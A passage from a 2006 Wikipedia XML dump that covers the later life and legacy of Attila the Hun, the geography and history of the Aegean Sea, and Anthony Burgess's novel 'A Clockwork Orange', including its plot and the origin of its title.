[[Image:MorThanFeastofAttila.jpg|thumb|right|275px|[[Mór Than]]'s painting ''The Feast of Attila'', based on a fragment of [[Priscus]] (depicted at right, dressed in white and holding his history):&lt;br&gt; &lt;small&gt;&quot;When evening began to draw in, torches were lighted, and two barbarians came forward in front of Attila and sang songs which they had composed, hymning his victories and his great deeds in war. And the banqueters gazed at them, and some were rejoiced at the songs, others became excited at heart when they remembered the wars, but others broke into tears&amp;mdash;those whose bodies were weakened by time and whose spirit was compelled to be at rest.&quot; &lt;/small&gt;]]

Attila demanded, as a condition of peace, that the Romans should continue paying [[tribute]] in gold&amp;mdash;and evacuate a strip of land stretching three hundred miles east from Sigindunum ([[Belgrade]]) and up to a hundred miles south of the Danube. Negotiations continued between Roman and Hun for approximately three years. The [[historian]] [[Priscus]] was sent as emissary to Attila's encampment in [[448]], and the fragments of his reports preserved by Jordanes offer the best glimpse of Attila among his numerous wives, his [[Scythia]]n fool, and his [[Moors|Moor]]ish [[dwarf]], impassive and unadorned amid the splendor of the courtiers:

:''A luxurious meal, served on [[silver]] plate, had been made ready for us and the barbarian guests, but Attila ate nothing but meat on a wooden trencher. In everything else, too, he showed himself temperate; his cup was of wood, while to the guests were given goblets of gold and silver. His dress, too, was quite simple, affecting only to be clean. The sword he carried at his side, the latchets of his Scythian shoes, the bridle of his horse were not adorned, like those of the other Scythians, with gold or gems or anything costly.''

&quot;The floor of the room was covered with woollen mats for walking on,&quot; Priscus noted.

During these three years, according to a legend recounted by Jordanes, Attila discovered the  &quot;Sword of Mars&quot;:
:''The historian Priscus says it was discovered under the following circumstances: &quot;When a certain shepherd beheld one heifer of his flock limping and could find no cause for this wound, he anxiously followed the trail of blood and at length came to a sword it had unwittingly trampled while nibbling the grass. He dug it up and took it straight to Attila. He rejoiced at this gift and, being ambitious, thought he had been appointed ruler of the whole world, and that through the sword of Mars supremacy in all wars was assured to him.''
::&amp;mdash; Jordanes, ''[[The Origin and Deeds of the Goths]]'' ch. XXXV [http://www.boudicca.de/jordanes3-e.htm (e-text)]

Later scholarship would identify this legend as part of a pattern of sword worship common among the nomads of the [[Central Asia]]n steppes.

==Attila in the west==
[[Image:AttilaTheHun.jpg|frame|An inaccurate sketch of Attila the Hun, probably from the [[19th century]]&lt;!-- my guess --mirv --&gt;, depicts him as [[European]], though the only extant description of his appearance by a Roman court historian states that Atilla had &quot;a flat nose, swarthy dark complexion, broad chest, short stature and small eyes, but full of confidence&quot; among his features, suggesting physical features common among [[Mongolia]]ns.]]

As late as [[450]], Attila had proclaimed his intent to attack the powerful [[Visigoth]] kingdom of [[Toulouse]] in [[military alliance|alliance]] with Emperor [[Valentinian III]]. He had previously been on good terms with the western Empire and its ''[[de facto]]'' ruler [[Flavius Aëtius]]&amp;mdash;Aetius had spent a brief [[exile]] among the Huns in [[433]], and the troops Attila provided against the [[Goths]] and [[Bagaudae]] had helped earn him the largely honorary title of ''magister militum'' in the west. The gifts and diplomatic efforts of [[Geiseric]], who opposed and feared the Visigoths, may also have influenced Attila's plans.

However Valentinian's sister [[Justa Grata Honoria|Honoria]], in order to escape her forced betrothal to a [[Roman Senate|senator]], had sent the Hunnish king a plea for help&amp;mdash;and her [[engagement ring|ring]]&amp;mdash;in the spring of 450. Though Honoria may not have intended a proposal of marriage, Attila chose to interpret her message as such; he accepted, asking for half of the western Empire as [[dowry]]. When Valentinian discovered the plan, only the influence of his mother [[Galla Placidia]] convinced him to exile, rather than kill, Honoria; he also wrote to Attila strenuously denying the legitimacy of the supposed marriage proposal. Attila, not convinced, sent an embassy to [[Ravenna]] to proclaim that Honoria was innocent, that the proposal had been legitimate, and that he would come to claim what was rightfully his.

Meanwhile, Theodosius having died in a riding accident, his successor [[Marcian]] cut off the Huns' tribute in late 450; and multiple invasions, by the Huns and by others, had left the Balkans with little to plunder. The king of the [[Salian Franks]] had died, and the succession struggle between his two sons drove a rift between Attila and Aetius: Attila supported the elder son, while Aetius supported the younger{{ref|rift}}. [[J.B. Bury]] believes that Attila's intent, by the time he marched west, was to extend his kingdom&amp;mdash;already the strongest on the continent&amp;mdash;across [[Gaul]] to the [[Atlantic Ocean|Atlantic]] shore{{ref|atlantic}}. By the time Attila had gathered his [[vassal]]s&amp;mdash;[[Gepids]], [[Ostrogoths]], [[Rugians]], [[Scirians]], [[Heruls]], [[Thuringians]], [[Alans]], [[Burgundians]], et al.&amp;mdash;and begun his march west, he had declared intent of alliance both with the Visigoths and with the Romans.

In [[451]], his arrival in [[Belgica]] with an army exaggerated by Jordanes to half a million strong soon made his intent clear. On [[April 7]] he captured [[Metz]], and Aetius moved to oppose him, gathering troops from among the [[Franks]], the [[Burgundians]], and the [[Celts]]. A mission by [[Avitus]], and Attila's continued westward advance, convinced the Visigoth king [[Theodoric I]] (Theodorid) to ally with the Romans. The combined armies reached [[Orleans]] ahead of Attila{{ref|orleans}}, thus checking and turning back the Hunnish advance. Aetius gave chase and caught the Huns at a place usually assumed to be near [[Châlons-en-Champagne]]. The two armies clashed in the [[Battle of Chalons]], whose outcome commonly, though erroneously, is attributed to be a victory for the Gothic-Roman alliance. Theodoric was killed in the fighting. Aetius failed to press his advantage, and the alliance quickly disbanded. Attila withdrew to continue his campaign against Italy.

==Invasion of Italy and death==
Attila returned in [[452]] to claim his marriage to Honoria anew, invading and ravaging [[Italy]] along the way; his army sacked numerous cities and razed [[Aquileia]] completely, leaving no trace of it behind. Valentinian fled from [[Ravenna]] to [[Rome]]; Aetius remained in the field but lacked the strength to offer battle. Attila finally halted at the [[Po]], where he met an embassy including the [[prefect]] [[Trigetius]], the [[consul]] [[Aviennus]], and [[Pope Leo I]]. After the meeting he turned his army back, having claimed neither Honoria's hand nor the territories he desired.

[[Image:Leoattila-Raphael.jpg|thumb|275px|right|[[Raphael]]'s ''The Meeting between Leo the Great and Attila'' shows Leo I, with [[Saint Peter]] and Saint Paul above him, going to meet Attila]]

Several explanations for his actions have been proffered. The [[Pandemic|plague]] and [[famine]] which coincided with his invasion may have caused his army to weaken, or the troops that Marcian sent across the Danube may have given him reason to retreat, or perhaps both. [[Priscus]] reports that superstitious fear of the fate of [[Alaric I|Alaric]]&amp;mdash;who died shortly after sacking Rome in [[410]]&amp;mdash;gave the Hun pause. [[Prosper of Aquitaine]]'s pious &quot;fable which has been represented by the pencil of [[Raphael]] and the chisel of [[Algardi]]&quot; (as [[Edward Gibbon|Gibbon]] called it) says that the Pope, aided by [[Saint Peter]] and [[Paul of Tarsus|Saint Paul]], convinced him to turn away from the city. Various historians (e.g. [[Isaac Asimov]]) have supposed that the embassy brought a large amount of gold to the Hunnish leader and persuaded him to abandon his campaign. 

Whatever his reasons, Attila left Italy and returned to his palace across the Danube. From there he planned to strike at Constantinople again and reclaim the tribute which Marcian had cut off. However, he died in the early months of [[453]]; the conventional account, from Priscus, says that on the night after a feast celebrating his latest marriage (to a beautiful Goth named [[Ildico]]), he suffered a severe [[nosebleed]] and choked to death in a stupor. An alternative to the nosebleed theory is that he succummed to internal bleeding after heavy drinking. His warriors, upon discovering his death, mourned him by cutting off their hair and gashing themselves with their swords so that, says Jordanes, &quot;the greatest of all warriors should be mourned with no feminine lamentations and with no tears, but with the blood of men.&quot; His horsemen galloped in circles around the silken tent when Attila lay in state, singing in his [[dirge]], according to [[Cassiodorus]] and Jordanes, &quot;Who can rate this as death, when none believes it calls for vengeance?&quot; then celebrating a ''[[strava]]'' over his burial place with great feasting. He was buried in a triple coffin&amp;mdash;of gold, silver, and iron&amp;mdash;with the spoils of his conquest, and his funeral party was killed to keep his burial place secret. After his death, he lived on as a legendary figure: the characters of ''Etzel'' in the ''[[Nibelungenlied]]'' and ''Atli'' in both the ''[[Volsunga saga]]'' and the ''[[Poetic Edda]]'' were both loosely based on his life.

An alternate story of his death, first recorded eighty years after the fact by the Roman chronicler [[Count Marcellinus]], reports: &quot;''Attila rex Hunnorum Europae orbator provinciae noctu mulieris manu cultroque confoditur.''&quot; (&quot;Attila, King of the Huns and ravager of the provinces of Europe, was pierced by the hand and blade of his wife.&quot;){{ref|marcellinus}} The ''Volsunga saga'' and the ''Poetic Edda'' claim that King Atli died at the hands of his wife [[Gudrun]].{{ref|atli_death}} Most scholars reject these accounts as no more than romantic fables, preferring instead the version given by Attila's contemporary Priscus.  The &quot;official&quot; account by Priscus, however, has recently come under renewed scrutiny by Michael A. Babcock (''The Night Attila Died: Solving the Murder of Attila the Hun'', Berkley Books, 2005 ISBN 0425202720). Based on detailed [[philological]] analysis, Babcock concludes that the account of natural death, given by Priscus, was an ecclesiastical &quot;cover story&quot; and that Emperor Marcian (who ruled the Eastern Roman Empire from [[450]]-[[457]]) was the political force behind Attila's death.

His sons [[Ellak]] (his appointed successor), [[Dengizik]], and [[Ernakh]] fought over the division of his legacy&amp;mdash;&quot;what warlike kings with their peoples should be apportioned to them by lot like a family estate&quot;  and, divided, were defeated and scattered the following year in the [[Battle of Nedao]] by the Gepids, under [[Ardaric]], whose pride was stirred by being treated with his people like chattel, and the Ostrogoths. Attila's empire did not outlast him.

==Appearance, character, and name==
[[Image:Atli.jpg|thumb|270px|left|Atilla. &lt;br&gt; From an illustration to the [[Poetic Edda]].]] 

The main source for information on Attila is [[Priscus]], a historian who traveled with [[Maximin]] on an embassy from Theodosius II in [[448]]. He describes the village the nomadic Huns had built and settled down in as the size of the great city with solid wooden walls. He described Attila himself as:

: ''&quot;short of stature, with a broad chest and a large head; his eyes were small, his beard thin and sprinkled with gray; and he had a flat nose and a swarthy complexion, showing the evidences of his origin.&quot;''

Attila's physical appearance was most likely that of an [[Eastern Asia|Eastern Asian]] or more specifically a [[Mongol]], or perhaps a mixture of this type and the Turkic peoples of [[Central Asia]]. Indeed, he probably exhibited the characteristic Eastern Asian facial features, which Europeans were not used to seeing, and so they often described him in harsh terms. 

Attila is known in Western history and tradition as the grim &quot;Scourge of God&quot;, and his name has become a byword for cruelty and [[Barbarian|barbarism]]. Some of this may arise from a conflation of his traits, in the popular imagination, with those perceived in later [[steppe]] warlords such as the [[Mongol]] [[Great Khan]] [[Genghis Khan]] and [[Timur|Tamerlane]]: all run together as cruel, clever, and sanguinary lovers of battle and pillage. The reality of his character may be more complex. The Huns of Attila's era had been mingling with Roman civilization for some time, largely through the Germanic ''[[foederati]]'' of the border&amp;mdash;so that by the time of Theodosius's embassy in 448, Priscus could identify [[Hunnic language|Hunnic]], [[Gothic language|Gothic]], and [[Latin]] as the three common languages of the horde. Priscus also recounts his meeting with an eastern Roman captive who had so fully [[cultural assimilation|assimilated]] into the Huns' way of life that he had no desire to return to his former country, and the Byzantine historian's description of Attila's humility and simplicity is unambiguous in its admiration.

The historical context of Attila's life played a large part in determining his later public image: in the waning years of the western Empire, his conflicts with Aetius (often called the &quot;last of the Romans&quot;) and the strangeness of his culture both helped dress him in the mask of the ferocious barbarian and enemy of civilization, as he has been portrayed in any number of films and other works of art. The Germanic epics in which he appears offer more nuanced depictions: he is both a noble and generous ally, as [[Etzel]] in the ''Nibelungenlied'', and a cruel miser, as Atli in the ''Volsunga Saga'' and the ''Poetic Edda''. Some national histories, though, always portray him favorably; in [[Hungary]] and [[Turkey]] the names of Attila (sometimes as Atilla in [[Turkish language|Turkish]]) and his last wife Ildikó remain popular to this day. In a similar vein, the Hungarian author [[Géza Gárdonyi]]'s novel ''A láthatatlan ember'' (published in English as ''Slave of the Huns'', and largely based on Priscus) offered a sympathetic portrait of Attila as a wise and beloved leader.

The name Attila may mean &quot;Little Father&quot; in Gothic (''atta'' &quot;father&quot; plus diminutive suffix ''-la'') as many Goths were known to serve under Attila. It could also be of pre-[[Turkish language|Turkish]] ([[Altaic languages|Altaic]]) origin (compare it with [[Ataturk|Atatürk]] and ''Alma-Ata'', now called [[Almaty]]). It most probably originates from ''atta'' (&quot;father&quot;) and ''il'' (&quot;land&quot;), meaning &quot;Land-Father&quot;. [[Atil]] was also the [[Altaic]] name of the present-day [[Volga]] river which may have given its name to Attila.

&lt;table width = 75% border=&quot;2&quot; align=&quot;center&quot; style=&quot;border-collapse: collapse;&quot;&gt;
&lt;tr&gt;&lt;td width = 35% align=&quot;center&quot;&gt;
Preceded by:&lt;br&gt;'''[[Bleda]]'''&lt;/td&gt;
&lt;td width = 30% align=&quot;center&quot;&gt;[[List of Hunnish rulers|List of Hun monarchs]]&lt;/td&gt;
&lt;td width = 35% align=&quot;center&quot;&gt;
Succeeded by:&lt;br&gt;'''[[Ernakh]]'''&lt;/td&gt;
&lt;/tr&gt;&lt;/table&gt;

==Notes==
#{{note|rift}} This younger son may have been [[Merovech]], founder of the [[Merovingian]] line, though the sources&amp;mdash;[[Gregory of Tours]] and a later roster from the [[Battle of Chalons]]&amp;mdash;are not conclusive.
#{{note|atlantic}}[[J.B. Bury]], ''The Invasion of Europe by the Barbarians'', lecture IX [http://www.northvegr.org/lore/bury/017.php (e-text)]
#{{note|orleans}}Later accounts of the battle place the Huns either already within the city or in the midst of storming it when the Roman-Visigoth army arrived; Jordanes mentions no such thing. See Bury, ibid.
#{{note|marcellinus}}[[Marcellinus Comes]], ''Chronicon'' [http://www.thelatinlibrary.com/marcellinus.html (e-text)], quoted in Hector Munro Chadwick: ''The Heroic Age'' (London, [[Cambridge University Press]], 1926), p. 39 n. 1.  
#{{note|atli_death}} ''Volsunga Saga'', [http://www.northvegr.org/lore/volsunga/021.php Chapter 39]; ''Poetic Edda'', [http://www.sacred-texts.com/neu/poe/poe35.htm Atlamol En Grönlenzku, The Greenland Ballad of Atli]

==See also==
*[[Attila the Hun to Charlemagne]]
*[[Huns]]
*[[History of Europe]]
*[[History of the Balkans]]
*[[List of military commanders]]
*[[Mule (Foundation)|The Mule]]

==References==
Classical texts include:
*Priscus: ''Byzantine History'', available in the original Greek in Ludwig Dindorf : ''Historici Graeci Minores'' (Leipzig, B.G. Teubner, 1870) and available online as a translation by [[J.B. Bury]]: ''[http://ccat.sas.upenn.edu/jod/texts/priscus.html Priscus at the court of Attila]''
*Jordanes: ''[http://www.ucalgary.ca/~vandersp/Courses/texts/jordgeti.html The Origin and Deeds of the Goths]''

Recommended modern works are:
*Babcock, Michael A.: &quot;The Night Attila Died: Solving the Murder of Attila the Hun&quot; (Berkley Publishing Group, ISBN 0425202720)
*Blockley, R.C.: ''The Fragmentary Classicising Historians of the Later Roman Empire'', vol. II (ISBN 0905205154) (a collection of fragments from Priscus, Olympiodorus, and others, with original text and translation)
*C.D. Gordon: ''The Age of Attila: Fifth-century Byzantium and the Barbarians'' (Ann Arbor, University of Michigan Press, 1960) is a translated collection, with commentary and annotation, of ancient writings on the subject (including those of Priscus).
* J. Otto Maenchen-Helfen (ed. Max Knight): ''The World of the Huns: Studies in Their History and Culture'' (Berkeley, University of California Press, 1973) is a useful scholarly survey.
*E. A. Thompson : ''A History of Attila and the Huns'' (London, [[Oxford University Press]], 1948) is the authoritative English work on the subject. It was reprinted in 1999 as ''The Huns'' in the ''Peoples of Europe'' series (ISBN 0631214437). Thompson did not enter controversies over Hunnic origins, and his revisionist view of Attila read his victories as achieved only while there was no concerted opposition.

==External links==
* A reconstructed [http://www.reportret.info/gallery/attilathehun1.html portrait of Attila the Hun], based on historical sources, in a contemporary style.
* Edward Gibbon describes Attila in his classic [http://www.ccel.org/g/gibbon/decline/volume1/chap34.htm The Decline and Fall of the Roman Empire]
* Excerpt from 'Leadership Secrets of Attila The Hun' By Wess Roberts, Ph.D describing Attila's [http://worldservicecorps.us/attila%20intro.htm experience in Rome].

[[Category:400s births]]
[[Category:453 deaths]]
[[Category:Ancient Roman enemies and allies]]
[[Category:History of Europe]]
[[Category:History of Hungary]]
[[Category:History of the Germanic peoples]]
[[Category:Late Antiquity]]
[[Category:Huns]]

[[ar:أتيلا الهوني]]
[[bg:Атила]]
[[cs:Attila]]
[[da:Attila]]
[[de:Attila]]
[[es:Atila]]
[[eo:Atilo la Huno]]
[[fr:Attila]]
[[ko:아틸라]]
[[hr:Atila]]
[[id:Atilla]]
[[it:Attila]]
[[he:אטילה ההוני]]
[[lt:Atila]]
[[hu:Attila (hun uralkodó)]]
[[ms:Atilla]]
[[nl:Attila de Hun]]
[[ja:アッティラ]]
[[no:Attila]]
[[pl:Attyla]]
[[pt:Átila o Huno]]
[[ro:Attila]]
[[ru:Аттила]]
[[scn:Attila]]
[[sl:Atila]]
[[sr:Атила]]
[[fi:Attila]]
[[sv:Attila]]
[[tr:Attila]]
[[uk:Аттіла]]
[[zh:阿提拉]]</text>
    </revision>
  </page>
  <page>
    <title>Aegean Sea</title>
    <id>842</id>
    <revision>
      <id>42124188</id>
      <timestamp>2006-03-03T23:55:45Z</timestamp>
      <contributor>
        <username>Flauto Dolce</username>
        <id>30706</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Samos]] to [[Samos Island]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:Aegean Sea map.png|thumb|right|The Aegean Sea.]]

The '''Aegean Sea''' is an arm of the [[Mediterranean Sea]], located between the Greek peninsula and [[Asia Minor]]. It is connected to the [[Marmara Sea]] and [[Black Sea]] by the [[Dardanelles]] and [[Bosporus]].

== Etymology ==
In ancient times there were various explanations for the name Aegean. It was said to have been named after the town of [[Aegae]], or [[Aegea]], a queen of the [[Amazons]] who died in the sea, or [[Aegeus]], the father of [[Theseus]], who drowned himself in the sea when he thought his son had died. 

The [[Greek language|Greek]] name for the sea is {{Polytonic|Αἰγαῖον Πέλαγος}} (Aigaion Pelagos, [[Modern Greek language|Modern Greek]] Ejéon Pélaγos) and Ege Denizi in [[Turkish language|Turkish]]. A possible etymology is a derivation from the dialect word {{Polytonic|αἶγες}} (aiges) &quot;waves&quot; ([[Hesychius of Alexandria|Hesychius]]; metaphorical use of {{Polytonic|αἴξ}} (aix) &quot;goat&quot;), hence &quot;wavy sea&quot;, cf. also {{Polytonic|αἰγιαλός}} (aigialos) &quot;coast&quot;.

== History ==
In ancient times the sea was the birthplace of two ancient civilizations - the [[Minoan civilization|Minoans]] of [[Crete]], and the [[Mycenaean Greece|Mycenean]] Civilization of the [[Peloponnese]]. Later arose the city-states of Athens and Sparta among many others that constituted the [[Hellenic Civilization]]. The Aegean Sea was later inhabited by [[Persian Empire|Persians]], [[Roman Republic|Romans]], the [[Byzantine Empire]], the [[Venice|Venetians]], the [[Seljuk Turks]], and the [[Ottoman Empire]]. The Aegean was the site of the original [[democracy|democracies]], and it allowed for contact between several diverse civilizations of the Eastern Mediterranean.

== Geography ==
[[Image:Aegeansea.jpg|thumb|left|Satellite Image]]
The [[Aegean islands]] can be simply divided into seven groups: the [[Thracian Sea]] group, the East Aegean group, the Northern [[Sporades]], the [[Cyclades]], the [[Saronic Islands]] (or [[Argo-Saronic Islands]]), the [[Dodecanese]] and Crete. The word ''[[archipelago]]'' was originally applied specifically to these islands. Many of the Aegean islands, or chains of islands, are actually extensions of the mountains on the mainland. One chain extends across the sea to [[Chios]], another extends across [[Euboea]] to [[Samos Island|Samos]], and a third extends across the [[Peloponnese]] and [[Crete]] to [[Rhodes]], dividing the Aegean from the Mediterranean. Many of the islands have safe harbours and bays, but navigation through the sea is generally difficult. Many of the islands are [[volcano|volcanic]], and [[marble]] and [[iron]] are mined on other islands. The larger islands have some fertile valleys and plains. There are two islands of considerable size belonging to [[Turkey]] on the Aegean Sea: [[Bozcaada]] ([[Greek language|Greek]]: Τένεδος ''[[Tenedos]]'') and [[Gökçeada]] ([[Greek language|Greek]]: Ίμβρος ''[[Imvros]]'').

The bays in gulfs counterclockwise includes on [[Crete]], the [[Mirabelli Gulf|Mirabelli]], [[Almyros Bay|Almyros]], [[Souda Bay|Souda]] and [[Gulf of Chania|Chania]] bays or gulfs, on the mainland the [[Myrtoan Sea]] to the west, the [[Saronic Gulf]] northwestward, the [[Petalies Gulf]] which connects with the [[South Euboic Sea]], the [[Pagasetic Gulf]] which connects with the [[North Euboic Sea]], the [[Thermian Gulf]] northwestward, the [[Chalkidiki]] Peninsula including the [[Cassandra Gulf|Cassandra]] and the [[Singitic Gulf]]s, northward the [[Strymonian Gulf|Strymonian]] Gulf and the [[Gulf of Kavala]] and the rest are in [[Turkey]]; [[Saros Gulf]], [[Edremit]] Gulf, Dikili Gulf, Çandarlı Gulf, [[İzmir]] Gulf, [[Kuşadası]] Gulf, Gökova Gulf, Güllük Gulf.

==Port towns==

The Aegean Sea has many ports especially on the islands, for ports, see the island chains or its gulfs and bays.

==See also==
*[[Aegean civilization]]
*[[Aegean dispute]]
*[[List of traditional Greek place names]]

[[Category:Mediterranean]]

[[ar:بحر إيجة]]
[[ast:Mar Exéu]]
[[bg:Егейско море]]
[[ca:Mar Egea]]
[[cs:Egejské moře]]
[[da:Ægæiske Hav]]
[[de:Ägäis]]
[[et:Egeuse meri]]
[[el:Αιγαίο Πέλαγος]]
[[es:Mar Egeo]]
[[eo:Egea Maro]]
[[fr:Mer Égée]]
[[gl:Mar Exeo]]
[[ko:에게 해]]
[[it:Mar Egeo]]
[[he:הים האגאי]]
[[la:Mare Aegaeum]]
[[lt:Egėjo jūra]]
[[nl:Egeïsche Zee]]
[[ja:エーゲ海]]
[[no:Egeerhavet]]
[[pl:Morze Egejskie]]
[[pt:Mar Egeu]]
[[ru:Эгейское море]]
[[sk:Egejské more]]
[[sl:Egejsko morje]]
[[sr:Егејско море]]
[[fi:Aigeianmeri]]
[[sv:Egeiska havet]]
[[tr:Ege Adaları]]
[[uk:Егейське море]]
[[zh:爱琴海]]</text>
    </revision>
  </page>
  <page>
    <title>A Clockwork Orange</title>
    <id>843</id>
    <revision>
      <id>42121758</id>
      <timestamp>2006-03-03T23:36:25Z</timestamp>
      <contributor>
        <username>Trevor Andersen</username>
        <id>175193</id>
      </contributor>
      <minor />
      <comment>punct (see [[Wikipedia:Manual of Style]])</comment>
      <text xml:space="preserve">[[image:clockworkorange2.jpg|200px|thumb|right|''A Clockwork Orange'' book cover]]

''This article describes the novel by Anthony Burgess. For other uses of the term '''Clockwork Orange''', see '[[Clockwork Orange (disambiguation)]]'.


'''''A Clockwork Orange''''' is a [[science fiction]] and [[dystopian]] [[1962]] [[novel]] by [[Anthony Burgess]], and forms the basis for the [[A Clockwork Orange (film)|1971 film adaptation]] by [[Stanley Kubrick]]. 

It is one of Burgess's &quot;terminal novels&quot;, written to provide posthumous income for his wife after Burgess had allegedly been diagnosed with an inoperable brain tumour.

Burgess wrote that the title came from an old [[Cockney]] expression &quot;As queer as a clockwork orange.&quot; [[#References|&amp;sup1;]] Due to his time serving the British [[Colonial Office]] in [[Malaya]], Burgess thought that the phrase could be used to punningly refer to a mechanically responsive (clockwork) non-human (orang, [[Malay language|Malay]] for &quot;person&quot;). The Italian title, &quot;Un'Arancia ad Orologeria&quot; was interpreted to refer to a grenade. Burgess wrote in his later introduction, &quot;A Clockwork Orange Resucked,&quot; that a creature who can only perform good or evil is &quot;a clockwork orange&amp;mdash;meaning that he has the appearance of an organism lovely with colour and juice but is in fact only a clockwork toy to be wound up by [[god (monotheism)|God]] or the [[Devil]].&quot;

In his essay &quot;Clockwork Oranges&quot;[[#References|&amp;sup2;]] he says that &quot;this title would be appropriate for a story about the application of [[Ivan Pavlov|Pavlovian]], or mechanical, laws to an organism which, like a fruit, was capable of colour and sweetness.&quot; This title alludes to the protagonist's negatively conditioned responses to feelings of evil which prevent the exercise of his free will.

The book was partly inspired by an event in [[1944]], when Burgess' pregnant wife Lynne was robbed and beaten by four [[desertion |U.S. GI deserters]] in a [[London]] street, suffering a [[miscarriage]] and chronic [[gynecology|gynaecological]] problems[[#References|&amp;sup3;]].  According to Burgess, writing the novel was both a catharsis and an &quot;act of charity&quot; towards his wife's attackers - the story is narrated by and essentially sympathetic to one of the attackers rather than their victim.

==Synopsis==
{{spoiler}}
Set in the near future, the book centres around the life of the fifteen year old protagonist [[Alex DeLarge]]. Alex and his gang roam the streets at night, committing crimes purely for enjoyment.  The crimes described in the book increase in severity, from assault, to robbery, to a fight with rival gang, culminating when the gang breaks into the house of F.D. Alexander and rapes his wife. The gang returns to a bar where Alex hits one of his gang members, Dim, as punishment for Dim's rude behaviour towards a woman who was singing the chorus of ''[[Ode to Joy]]'', classical music being Alex's other passion, apart from violence. This sparks off a tense moment between the two gang members.

The next day, after fighting Dim and George to re-establish his control of the gang following the previous night's dispute Alex agrees, on Pete's suggestion, to rob a house in a rich part of town. Alex tries to persuade the woman living in the house to open the door. The woman refuses and calls the police as a precaution. He gains access to the house through a window, but is confronted by the defiant woman, who defends herself with unexpected strength, he goes for a bust of [[Ludwig van Beethoven|Beethoven]] and she scratches his face, he manages to knock her out with a silver statue he had previously taken. As he runs out the front door he is struck by Dim who runs off with the rest of the gang just as the police arrive. At the police station we learn that the woman has died.

In prison, Alex hears about an experimental rehabilitation programme called &quot;the Ludovico technique&quot;, which promises that the prisoner will be released upon completion of the two week treatment and will not commit crimes afterwards and manages to become the first patient. The Ludovico technique itself is a form of [[aversion therapy]], where Alex is given a drug that induces extreme nausea while being forced to watch graphically violent films. At the end of the treatment Alex is unable to carry out or even contemplate violent acts as doing so induces crippling nausea.

He is released from prison, but upon returning home he is rejected by his parents. Dejected, Alex contemplates suicide, going to the public library in order to discover what sort of poison he might take to end his life. There he is spotted by one of his former victims, who accompanied by his friends extracts his revenge. Alex is unable to strike back and the police is alerted. The police arrive, but they turn out to be Dim, and Billy Boy, the former leader of a rival gang. They take Alex, beat him up and dump him by the side of the road out in the country.

Alex stumbles to the nearest house for help, which turns out to be that of F.D. Alexander, whose wife Alex had raped and beaten earlier in the book. At first Alex is not recognised as he had always worn a mask, but the reader discovers that F.D. Alexander is in a wheel chair and his wife died from her injuries. Realising that Alex is the same person who had attacked him and his wife some years ago, F.D. Alexander drugs him, locks him in a room and plays Beethoven’s [[Symphony No. 9 (Beethoven)|9th Symphony]] at full volume. Although previously his favourite piece of music the Ninth was also used as a soundtrack for one of the films that Alex was forced to watch as part of the Ludovico treatment, hence it produces the same nauseating effects on him. Unable to stand the pain Alex throws himself out of the window to try to kill himself. He survives the fall with broken bones and wakes up in hospital informed that his tormentors have been arrested and the Ludovico treatment reversed.

The final chapter begins identically to the first, Alex having formed a new gang and reverted to his previous criminality. But on this particular night he decides not to join them and goes for a walk on his own instead. In a cafe he bumps into one of his old gang member Pete, who is married and has become a respectable member of society. Pete's wife giggles at Alex's rhetoric, and asks Pete &quot;why does he speak like that?&quot; After conversing with Pete and his wife, Alex has an epiphany, renouncing violence on one hand, but on the other concluding that his behaviour was an unavoidable part of youth, and that if he had a son, he would not be able to stop him from doing what he did.

Although the book is divided into three parts, each containing seven chapters, twenty-one being a symbolic number as it was the age that which a child earns his rights at the time, the 21st chapter was omitted from the versions published in the US. The [[Film|film]] adaptation which was directed by [[Stanley Kubrick]] follows the American version of the book, ending prior the events of the 21st chapter.  Kubrick claimed that he had not read the original version until he had virtually finished the screenplay, but that he certainly never gave any serious consideration to using it.

==Analysis== 
The book, narrated by Alex, contains many words in a slang dialect which Burgess invented for the book, called [[nadsat]]. It is a mix of modified [[Russian_language|Russian]] words, [[English_language|English]] slang and words invented by Burgess himself. It serves two functions, firstly Burgess, while wanting to provide his young characters with their own register did not want to use contemporary slang, fearing that this would &quot;date&quot; the book too much. Secondly, the novel graphically describes horrific scenes of violence, which would be shocking even by today's standards, so nadsat is used as a &quot;linguistic veil&quot; to distance the reader from the action on the page.

==Influence==
{{main|List of cultural references to A Clockwork Orange}}
Both the story and individual elements have had a strong influence on [[popular culture]] in general and [[popular music]] in particular.

==Trivia==
* Alex's age at the end of the novel is the same age that the Burgesses' miscarried child would have been at the date of publication, had the child survived the attack on Lynne, been born and grown up.
* The allegedly Cockney phrase ''A Clockwork Orange'' is totally unknown to history: the first recorded use of it is Burgess's title. Quoted in a ''[[Rolling Stone]]'' article, Burgess claimed to have first heard the expression &quot;from a very old Cockney in 1945.&quot;
*Burgess claimed that he had typed the title ''A Clockwork Orange'' and then sat down to think of a story to go with it. One early idea apparently involved a strike or riot among apprentices under Elizabeth I.
*As with many writers and their most popular books, this was one of Burgess's least favourite of the books he wrote, and he thought it was overrated.
*Since, in ''A Clockwork Orange,'' the author F. Alexander wrote a book entitled ''A Clockwork Orange'' and it is his wife who is attacked by the droogs, it seems likely Burgess directly inserted some of his own feelings and characteristics into the novel in the form of this character.

== See also ==
* [[A Clockwork Orange (film)]]
* [[Aestheticization of violence]]
* [[Nadsat]], a fictional slang used in the book
* [[Dystopia]]

==References==

# ''A Clockwork Orange: A play with music''. Century Hutchinson Ltd. (1987). &amp;mdash; An extract is quoted on several web sites: [http://pers-www.wlv.ac.uk/~fa1871/burgess.html], [http://pages.eidosnet.co.uk/johnnymoped/aclockworktestament/aclockworktestament_anthonyburgessonaclockworkorange_page2.html], [http://kubricks0.tripod.com/burgesam.htm].
# Burgess, Anthony (1978). Clockwork Oranges. In ''1985''. London: Hutchinson. ISBN 0091360803 ([http://pages.eidosnet.co.uk/johnnymoped/aclockworktestament/aclockworktestament_beingtheadventures_page1.html extracts quoted here])
# [[Gore Vidal|Vidal, Gore]]. &quot;Why I am eight years younger than Anthony Burgess,&quot; in ''At home : essays, 1982-1988'', p. 411. New York: Random House, 1988. ISBN 0394570200.

== External links ==
{{wikiquote}}
* {{isfdb title | id=12305 | title=A Clockwork Orange}}
* {{isfdb title | id=25722 | title=A Clockwork Orange (1977)}}
* A Prophetic Masterpiece: http://www.city-journal.org/html/16_1_oh_to_be.html

[[Category:1962 books|Clockwork Orange, A]]
[[Category:Dystopian novels|Clockwork Orange, A]]
[[Category:English novels|Clockwork Orange, A]]
[[Category:Modern Library 100 best novels|Clockwork Orange, A]]
[[Category:Science fiction novels|Clockwork Orange, A]]
[[Category:Twentieth century British novels|Clockwork Orange, A]]
